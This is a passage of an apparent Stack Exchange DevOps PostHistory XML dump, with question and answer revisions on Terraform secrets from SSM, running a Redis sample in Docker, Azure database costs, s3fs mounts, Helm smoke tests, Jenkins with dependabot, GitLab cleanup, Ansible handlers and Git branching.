/>
  <row Id="38447" PostHistoryTypeId="1" PostId="12520" RevisionGUID="1bba112e-a767-416d-9eb8-7cbfcfc0bd09" CreationDate="2020-09-29T11:21:18.117" UserId="24128" Text="Not able to run Azure Data Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="38448" PostHistoryTypeId="3" PostId="12520" RevisionGUID="1bba112e-a767-416d-9eb8-7cbfcfc0bd09" CreationDate="2020-09-29T11:21:18.117" UserId="24128" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38449" PostHistoryTypeId="2" PostId="12521" RevisionGUID="e4cff459-7506-4250-b038-3e6401cedc0c" CreationDate="2020-09-29T14:48:06.227" UserId="19373" Text="you can store values in the parameter store and use them in terraform resources by fetching values using data resources.&#xD;&#xA;&#xD;&#xA;    data &quot;aws_ssm_parameter&quot; &quot;rds_password&quot; {&#xD;&#xA;      name = &quot;/${var.project_name}/DB_PASSWORD&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_db_instance&quot; &quot;rds&quot; {&#xD;&#xA;      ...&#xD;&#xA;      password = data.aws_ssm_parameter.rds_password.value&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38450" PostHistoryTypeId="5" PostId="12517" RevisionGUID="f8497ca0-e39f-4bb1-b4cd-037895e82db3" CreationDate="2020-09-29T16:37:38.427" UserId="23443" Comment="added 59 characters in body" Text="How do I execute this &quot;Hello Redis!!!&quot;  sample [from the host][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    0d51479c1b57        redislabs/redis-py   &quot;docker-entrypoint.s…&quot;   12 minutes ago      Up 12 minutes       6379/tcp            redis-python&#xD;&#xA;    ea782770bcff        redis                &quot;docker-entrypoint.s…&quot;   26 minutes ago      Up 26 minutes       6379/tcp            rd&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker exec -it --user root redis-python bash&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# ls&#xD;&#xA;    requirements.txt  test_db.py  test_db.py.1&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py.1 &#xD;&#xA;    # The MIT License (MIT)&#xD;&#xA;    #&#xD;&#xA;    # Copyright (c) 2018 Redis Labs&#xD;&#xA;    #&#xD;&#xA;    # Permission is hereby granted, free of charge, to any person obtaining a copy&#xD;&#xA;    # of this software and associated documentation files (the &quot;Software&quot;), to deal&#xD;&#xA;    # in the Software without restriction, including without limitation the rights&#xD;&#xA;    # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell&#xD;&#xA;    # copies of the Software, and to permit persons to whom the Software is&#xD;&#xA;    # furnished to do so, subject to the following conditions:&#xD;&#xA;    # &#xD;&#xA;    # The above copyright notice and this permission notice shall be included in all&#xD;&#xA;    # copies or substantial portions of the Software.&#xD;&#xA;    # &#xD;&#xA;    # THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR&#xD;&#xA;    # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,&#xD;&#xA;    # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE&#xD;&#xA;    # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER&#xD;&#xA;    # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,&#xD;&#xA;    # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE&#xD;&#xA;    # SOFTWARE.&#xD;&#xA;    #&#xD;&#xA;    # Script Name: settings.sh&#xD;&#xA;    # Author: Cihan Biyikoglu - github:(cihanb)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    # try:&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    if (len(sys.argv) &lt;= 1):&#xD;&#xA;        print(&quot;Need to provide a DB port to test connectiivity. Example: python Redis-Python-Sample.py 12000&quot;)&#xD;&#xA;    &#xD;&#xA;    host_name = sys.argv[1]&#xD;&#xA;    db_port = sys.argv[2]&#xD;&#xA;    &#xD;&#xA;    print(&quot;Connecting to host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r = redis.StrictRedis(host=host_name, port=db_port, db=0)&#xD;&#xA;    &#xD;&#xA;    print(&quot;Set key 'key1' to value '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r.set('key1', '123')&#xD;&#xA;    &#xD;&#xA;    print(&quot;Get key 'key1' and validate value is '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    &#xD;&#xA;    # except:&#xD;&#xA;    #     print(&quot;DB TEST FAILED&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app#  &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py&#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    r = redis.StrictRedis(host=&quot;127.0.0.1&quot;, port=6379, decode_responses=True)&#xD;&#xA;    	&#xD;&#xA;    r.set(&quot;msg:hello&quot;, &quot;Hello Redis!!!&quot;)&#xD;&#xA;    	&#xD;&#xA;    msg = r.get(&quot;msg:hello&quot;)&#xD;&#xA;    	&#xD;&#xA;    print(msg)&#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat requirements.txt &#xD;&#xA;    redis&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;test_db.py&quot;, line 2, in &lt;module&gt;&#xD;&#xA;        import redis&#xD;&#xA;    ImportError: No module named 'redis'&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# pip3 install redis&#xD;&#xA;    Downloading/unpacking redis&#xD;&#xA;      Downloading redis-3.5.3-py2.py3-none-any.whl (72kB): 72kB downloaded&#xD;&#xA;    Installing collected packages: redis&#xD;&#xA;    Successfully installed redis&#xD;&#xA;    Cleaning up...&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    :: test_db.py&#xD;&#xA;    Hello Redis!!!&#xD;&#xA;    DB TEST FAILED: Can't find the key&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;it's fine that the test failed, only concerned about execution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dumbed down [the script][2] to better work with the default community build of `redis`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/64107072/4531180&#xD;&#xA;  [2]: https://hub.docker.com/r/redislabs/redis-py" ContentLicense="CC BY-SA 4.0" />
  <row Id="38451" PostHistoryTypeId="2" PostId="12522" RevisionGUID="860b51be-2286-454e-933e-17ebeea9ed3f" CreationDate="2020-09-29T16:52:06.153" UserId="132" Text="In short, `docker exec` is used to operate an already-running container, while `docker run -it` starts a new container interactively.&#xD;&#xA;&#xD;&#xA;When you ran `docker run -it --network foo --rm redis redis-cli -h rd` you created a 2nd container, this time using the `redis-cli` image, which was used to query your running `redis` container.&#xD;&#xA;&#xD;&#xA;Were you to repeat the steps you took, and then open another terminal and run `docker container ls`, you would see two running containers.&#xD;&#xA;&#xD;&#xA;Reference: https://spin.atomicobject.com/2018/10/04/docker-command-line/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38452" PostHistoryTypeId="5" PostId="12517" RevisionGUID="163f1e55-d857-4f62-8fc1-5b40e227f74c" CreationDate="2020-09-29T16:55:06.153" UserId="23443" Comment="added 58 characters in body" Text="How do I [execute][1] this &quot;Hello Redis!!!&quot;  sample [from the host][2]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    0d51479c1b57        redislabs/redis-py   &quot;docker-entrypoint.s…&quot;   12 minutes ago      Up 12 minutes       6379/tcp            redis-python&#xD;&#xA;    ea782770bcff        redis                &quot;docker-entrypoint.s…&quot;   26 minutes ago      Up 26 minutes       6379/tcp            rd&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker exec -it --user root redis-python bash&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# ls&#xD;&#xA;    requirements.txt  test_db.py  test_db.py.1&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py.1 &#xD;&#xA;    # The MIT License (MIT)&#xD;&#xA;    #&#xD;&#xA;    # Copyright (c) 2018 Redis Labs&#xD;&#xA;    #&#xD;&#xA;    # Permission is hereby granted, free of charge, to any person obtaining a copy&#xD;&#xA;    # of this software and associated documentation files (the &quot;Software&quot;), to deal&#xD;&#xA;    # in the Software without restriction, including without limitation the rights&#xD;&#xA;    # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell&#xD;&#xA;    # copies of the Software, and to permit persons to whom the Software is&#xD;&#xA;    # furnished to do so, subject to the following conditions:&#xD;&#xA;    # &#xD;&#xA;    # The above copyright notice and this permission notice shall be included in all&#xD;&#xA;    # copies or substantial portions of the Software.&#xD;&#xA;    # &#xD;&#xA;    # THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR&#xD;&#xA;    # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,&#xD;&#xA;    # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE&#xD;&#xA;    # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER&#xD;&#xA;    # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,&#xD;&#xA;    # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE&#xD;&#xA;    # SOFTWARE.&#xD;&#xA;    #&#xD;&#xA;    # Script Name: settings.sh&#xD;&#xA;    # Author: Cihan Biyikoglu - github:(cihanb)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    # try:&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    if (len(sys.argv) &lt;= 1):&#xD;&#xA;        print(&quot;Need to provide a DB port to test connectiivity. Example: python Redis-Python-Sample.py 12000&quot;)&#xD;&#xA;    &#xD;&#xA;    host_name = sys.argv[1]&#xD;&#xA;    db_port = sys.argv[2]&#xD;&#xA;    &#xD;&#xA;    print(&quot;Connecting to host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r = redis.StrictRedis(host=host_name, port=db_port, db=0)&#xD;&#xA;    &#xD;&#xA;    print(&quot;Set key 'key1' to value '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r.set('key1', '123')&#xD;&#xA;    &#xD;&#xA;    print(&quot;Get key 'key1' and validate value is '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    &#xD;&#xA;    # except:&#xD;&#xA;    #     print(&quot;DB TEST FAILED&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app#  &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py&#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    r = redis.StrictRedis(host=&quot;127.0.0.1&quot;, port=6379, decode_responses=True)&#xD;&#xA;    	&#xD;&#xA;    r.set(&quot;msg:hello&quot;, &quot;Hello Redis!!!&quot;)&#xD;&#xA;    	&#xD;&#xA;    msg = r.get(&quot;msg:hello&quot;)&#xD;&#xA;    	&#xD;&#xA;    print(msg)&#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat requirements.txt &#xD;&#xA;    redis&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;test_db.py&quot;, line 2, in &lt;module&gt;&#xD;&#xA;        import redis&#xD;&#xA;    ImportError: No module named 'redis'&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# pip3 install redis&#xD;&#xA;    Downloading/unpacking redis&#xD;&#xA;      Downloading redis-3.5.3-py2.py3-none-any.whl (72kB): 72kB downloaded&#xD;&#xA;    Installing collected packages: redis&#xD;&#xA;    Successfully installed redis&#xD;&#xA;    Cleaning up...&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    :: test_db.py&#xD;&#xA;    Hello Redis!!!&#xD;&#xA;    DB TEST FAILED: Can't find the key&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;it's fine that the test failed, only concerned about execution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dumbed down [the script][3] to better work with the default community build of `redis`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/32163955/4531180&#xD;&#xA;  [2]: https://stackoverflow.com/q/64107072/4531180&#xD;&#xA;  [3]: https://hub.docker.com/r/redislabs/redis-py" ContentLicense="CC BY-SA 4.0" />
  <row Id="38458" PostHistoryTypeId="2" PostId="12524" RevisionGUID="8db91a59-0423-4ac9-94a6-23eb80dad5d6" CreationDate="2020-09-30T07:28:28.297" UserId="24143" Text="&#xD;&#xA;&#xD;&#xA;I am building a system that processes articles from news websites and pushes the content to an analytics engine. The majority of the Azure cost from an SQL database.&#xD;&#xA;&#xD;&#xA;This database is used to store a list of the urls to different websites. Each row is the name of the news source and the matching url link. If one wishes to add a news source, a new row is added manually. So the number of records is very little and stay like so when productionising, i.e. in alpha phase now, we have about 5 records, long term we may have 100-200 records maximum.&#xD;&#xA;&#xD;&#xA;The bulk of the database cost comes from the read-write operations that happen frequently (every 15 seconds, all the rows are updated).&#xD;&#xA;&#xD;&#xA;We feel like there should be a cheaper alternative Azure resource to store this little amount of data, rather than an expensive SQL database. A no SQL database somewhere, a simple JSON file that can be hosted somewhere on Azure, etc...?&#xD;&#xA;&#xD;&#xA;What are your thoughts?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38459" PostHistoryTypeId="1" PostId="12524" RevisionGUID="8db91a59-0423-4ac9-94a6-23eb80dad5d6" CreationDate="2020-09-30T07:28:28.297" UserId="24143" Text="Cheap alternative to Azure SQL database" ContentLicense="CC BY-SA 4.0" />
  <row Id="38460" PostHistoryTypeId="3" PostId="12524" RevisionGUID="8db91a59-0423-4ac9-94a6-23eb80dad5d6" CreationDate="2020-09-30T07:28:28.297" UserId="24143" Text="&lt;azure&gt;&lt;cost-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38461" PostHistoryTypeId="2" PostId="12525" RevisionGUID="b3f5e614-5583-437c-8a8a-48e93bc1ad96" CreationDate="2020-09-30T08:22:35.250" UserId="24144" Text="Following worked for  me  - `/usr/bin/s3fs my-bucket /my-mount/ -o uid=500,gid=501,iam_role=MyRole,use_cache=/tmp,endpoint=ap-south-1,url=https://s3.amazonaws.com`" ContentLicense="CC BY-SA 4.0" />
  <row Id="38462" PostHistoryTypeId="5" PostId="8758" RevisionGUID="bd1adc80-1b7b-492d-8017-56b9aa0b2966" CreationDate="2020-09-30T16:03:19.207" UserId="7078" Comment="added 161 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE ([Site Reliability Engineering][1]) or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis.  Because of this, the sprint duration of two weeks seems very aggressive and it adds unnecessary overhead.&#xD;&#xA;- People being on call adds another dimension to the problem. Sometimes, more than one team member might get involved in on call / post-mortem tasks.&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap among tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;From what I hear from many SREs that I have spoken to, sprint planning hasn't worked for them at all.  I would like to hear from the community here what their experience with sprint and kanban is.&#xD;&#xA;&#xD;&#xA;I asked this question on scrum.org as well:&#xD;&#xA;&#xD;&#xA;[Can scrum be used effectively by SRE teams?](https://www.scrum.org/forum/scrum-forum/32092/can-scrum-be-used-effectively-sre-teams)&#xD;&#xA;&#xD;&#xA;And here is a blog post that raises concerns about Agile and SRE in general:&#xD;&#xA;&#xD;&#xA;[Agile is Lava](https://productionwithscissors.run/2020/09/30/agile-is-lava/)&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Site_Reliability_Engineering" ContentLicense="CC BY-SA 4.0" />
  <row Id="38463" PostHistoryTypeId="50" PostId="11854" RevisionGUID="eb141344-1a40-4ecc-9398-11776968b98d" CreationDate="2020-09-30T16:08:10.843" UserId="-1" />
  <row Id="38464" PostHistoryTypeId="50" PostId="11724" RevisionGUID="09c5a1fd-8a99-4a81-b995-b9395aa0c0e0" CreationDate="2020-09-30T17:03:15.240" UserId="-1" />
  <row Id="38465" PostHistoryTypeId="2" PostId="12526" RevisionGUID="7df50efd-9b32-4443-bff5-0233bcc677d8" CreationDate="2020-09-30T17:12:10.147" UserId="9034" Text="I'm working on moving our micro-service to kubernetes cluster using helm charts.&#xD;&#xA;Flow will be&#xD;&#xA;&#xD;&#xA; 1. Deploy the app&#xD;&#xA; 2. Run automated smoke test&#xD;&#xA; 3. If the test passes, route traffic to a new set of pods. &#xD;&#xA; 4. If the test fails, delete the new deployment.&#xD;&#xA;&#xD;&#xA;Currently exploring Istio service mesh and header based router by traefik. &#xD;&#xA;&#xD;&#xA;Whats the best way to achieve this in Kubernetes world with helm without loosing helm history. So that in case of any issue in prod, `helm rollback` should work&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38466" PostHistoryTypeId="1" PostId="12526" RevisionGUID="7df50efd-9b32-4443-bff5-0233bcc677d8" CreationDate="2020-09-30T17:12:10.147" UserId="9034" Text="Deploy to kubernetes cluster using helm with smoke tests" ContentLicense="CC BY-SA 4.0" />
  <row Id="38467" PostHistoryTypeId="3" PostId="12526" RevisionGUID="7df50efd-9b32-4443-bff5-0233bcc677d8" CreationDate="2020-09-30T17:12:10.147" UserId="9034" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;traefik&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38468" PostHistoryTypeId="2" PostId="12527" RevisionGUID="dbe221e7-aebc-42a4-a798-417cefac8c0b" CreationDate="2020-09-30T17:27:14.020" UserId="24152" Text="I’m not sure if it’s the exact place so lemme know if I need to move it,&#xD;&#xA;my question is this,&#xD;&#xA;Can I connect a PC/mobile lets say in location 1 with my PC and see the WiFi networks in location 2 of PC/mobile ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38469" PostHistoryTypeId="1" PostId="12527" RevisionGUID="dbe221e7-aebc-42a4-a798-417cefac8c0b" CreationDate="2020-09-30T17:27:14.020" UserId="24152" Text="Can I connect a PC/Mobile from my house and be able to see/connect WiFi networks around the PC/Mobile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38470" PostHistoryTypeId="3" PostId="12527" RevisionGUID="dbe221e7-aebc-42a4-a798-417cefac8c0b" CreationDate="2020-09-30T17:27:14.020" UserId="24152" Text="&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38471" PostHistoryTypeId="50" PostId="11879" RevisionGUID="3f33f4e5-0afd-4db2-b709-b56d3ac0e3c4" CreationDate="2020-09-30T18:02:10.287" UserId="-1" />
  <row Id="38474" PostHistoryTypeId="2" PostId="12528" RevisionGUID="00fdc455-d5f7-46a1-b09b-e9d110ba1698" CreationDate="2020-10-01T07:26:58.113" UserId="2729" Text="Why not spin up a virtual machine (ec2) and install a LAMP server on it.&#xD;&#xA;&#xD;&#xA;MySQL server is free and the EC2 instance should be way cheaper than the SQL server.&#xD;&#xA;&#xD;&#xA;(We do this on AWS; should work on Azure, too.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38476" PostHistoryTypeId="2" PostId="12529" RevisionGUID="358da150-d540-4d95-8786-a617c42dbef4" CreationDate="2020-10-01T18:10:19.490" UserId="24167" Text="Our Github project repository is configured to receive security PRs from dependabot, and we get them periodically.   &#xD;&#xA;&#xD;&#xA;We are using Jenkins with Build Triggers so that when a user comments /test, it triggers a test.&#xD;&#xA;&#xD;&#xA;However, on dependabot PRs, that ends up doing nothing.&#xD;&#xA;&#xD;&#xA;I added &quot;dependabot&quot; to the jenkins whitelist, but that didn't seem to do anything.&#xD;&#xA;&#xD;&#xA;Using Jenkins 2.249.1&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38477" PostHistoryTypeId="1" PostId="12529" RevisionGUID="358da150-d540-4d95-8786-a617c42dbef4" CreationDate="2020-10-01T18:10:19.490" UserId="24167" Text="How can I configure Jenkins pull request builder to run tests on Github dependabot PRs" ContentLicense="CC BY-SA 4.0" />
  <row Id="38478" PostHistoryTypeId="3" PostId="12529" RevisionGUID="358da150-d540-4d95-8786-a617c42dbef4" CreationDate="2020-10-01T18:10:19.490" UserId="24167" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38479" PostHistoryTypeId="5" PostId="12529" RevisionGUID="fdf20694-5f53-4967-a2fd-fe5efe6be62f" CreationDate="2020-10-01T18:36:42.997" UserId="24167" Comment="added 16 characters in body" Text="Our Github project repository is configured to receive security PRs from dependabot, and we get them periodically.   &#xD;&#xA;&#xD;&#xA;We are using Jenkins with Build Triggers so that when a user comments /test in a PR comment, it triggers a test.&#xD;&#xA;&#xD;&#xA;However, on dependabot PRs, that ends up doing nothing.&#xD;&#xA;&#xD;&#xA;I added &quot;dependabot&quot; to the jenkins whitelist, but that didn't seem to do anything.&#xD;&#xA;&#xD;&#xA;Using Jenkins 2.249.1&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38480" PostHistoryTypeId="2" PostId="12530" RevisionGUID="8e2ebfcb-0f72-4d6b-ba69-745e47da45ae" CreationDate="2020-10-01T18:55:53.253" UserId="24170" Text="I had some unwanted files in a repo which is going open-source soon. I removed the files using git-filter-branch. I noticed the project size in Gitlab growing with every such removal. Some research suggested that Gitlab has another backup layer, where the data is still in the project, which can be accessed by exporting the project.&#xD;&#xA;&#xD;&#xA;Is there a way to just reset the Gitlab storage to what the repo actually contains when being cloned?&#xD;&#xA;I'd much prefer not to do these operations again on the project file, since it is prone to data loss." ContentLicense="CC BY-SA 4.0" />
  <row Id="38481" PostHistoryTypeId="1" PostId="12530" RevisionGUID="8e2ebfcb-0f72-4d6b-ba69-745e47da45ae" CreationDate="2020-10-01T18:55:53.253" UserId="24170" Text="Reset Gitlab Project to Repository Content" ContentLicense="CC BY-SA 4.0" />
  <row Id="38482" PostHistoryTypeId="3" PostId="12530" RevisionGUID="8e2ebfcb-0f72-4d6b-ba69-745e47da45ae" CreationDate="2020-10-01T18:55:53.253" UserId="24170" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38483" PostHistoryTypeId="2" PostId="12531" RevisionGUID="df03d6c8-731c-410a-b31a-1528c4890a5c" CreationDate="2020-10-01T21:41:24.073" UserId="16516" Text="I would like to make an ansible role that drops some credentials into /etc for a few services that are running.  Each service is slightly different and requires different mechanisms for restarting to pick up the new credentials.&#xA;&#xA;Is it possible to have a meta dependency somehow communicate back up to the consumer/parent to trigger a handler?&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38484" PostHistoryTypeId="1" PostId="12531" RevisionGUID="df03d6c8-731c-410a-b31a-1528c4890a5c" CreationDate="2020-10-01T21:41:24.073" UserId="16516" Text="Detecting in parent role when ansible meta dependency had change" ContentLicense="CC BY-SA 4.0" />
  <row Id="38485" PostHistoryTypeId="3" PostId="12531" RevisionGUID="df03d6c8-731c-410a-b31a-1528c4890a5c" CreationDate="2020-10-01T21:41:24.073" UserId="16516" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38489" PostHistoryTypeId="4" PostId="12531" RevisionGUID="9b3851ab-1527-42e0-a16b-f67884713984" CreationDate="2020-10-01T23:26:48.030" UserId="16516" Comment="edited title; added 48 characters in body" Text="Ansible: Detecting in parent role when meta dependency role had change" ContentLicense="CC BY-SA 4.0" />
  <row Id="38490" PostHistoryTypeId="5" PostId="12531" RevisionGUID="9b3851ab-1527-42e0-a16b-f67884713984" CreationDate="2020-10-01T23:26:48.030" UserId="16516" Comment="edited title; added 48 characters in body" Text="I would like to make an ansible role that drops some credentials into /etc for a few services that are running.  Each service is slightly different and requires different mechanisms for restarting to pick up the new credentials.&#xA;&#xA;Is it possible to have a meta dependency somehow communicate back up to the consumer/parent to trigger a handler to restart the services that depend on the file?&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38491" PostHistoryTypeId="2" PostId="12533" RevisionGUID="3fb4e7fa-15e7-4532-b173-7a23f8be8330" CreationDate="2020-10-02T06:08:38.137" UserId="5251" Text="I think you can use `listen` as explained here: https://medium.com/@george.shuklin/listen-feature-for-handlers-in-ansible-29183524c7e1" ContentLicense="CC BY-SA 4.0" />
  <row Id="38493" PostHistoryTypeId="2" PostId="12534" RevisionGUID="e47b336a-9fc2-48dc-8855-a60e4b08e5ac" CreationDate="2020-10-02T18:22:01.290" UserId="24177" Text="## Context ##&#xD;&#xA;Our current operations consists of three servers: QA is a playground for devs to try out new features; Platform is the live customer facing application; Mock is a copy of Platform and functions as a staging area for new releases to be tested before release to Platform.&#xD;&#xA;&#xD;&#xA;Our branching strategy follows these three servers. There is a QA branch for the QA server, Mock branch for Mock, Master for Platform. When a new feature is requested, a feature branch is branched off Master to be developed on a devs local machine. Once the feature is complete, the feature branch is merged into the QA branch for testing/approval. When release time comes around, we pick out all the approved feature branches and merge them into the Mock branch for final release testing. After release testing the Mock branch is tagged as the next version and merged into Platform. &#xD;&#xA;&#xD;&#xA;## Symptom ##&#xD;&#xA;The main issue that we have been dealing with using this strategy is that devs who finish a feature will accidentally branch off the newly finished (or sometimes still in progress) feature branch instead of the Master branch when moving on to the next feature. This means that when approved features are added into Mock for final release review, they can often carry along unapproved features as they sit in the same feature branch.&#xD;&#xA;&#xD;&#xA;## Question ##&#xD;&#xA;Is there an automated way to go through each feature branch to check that no other feature branches are in its history since the last release tag? I can do this 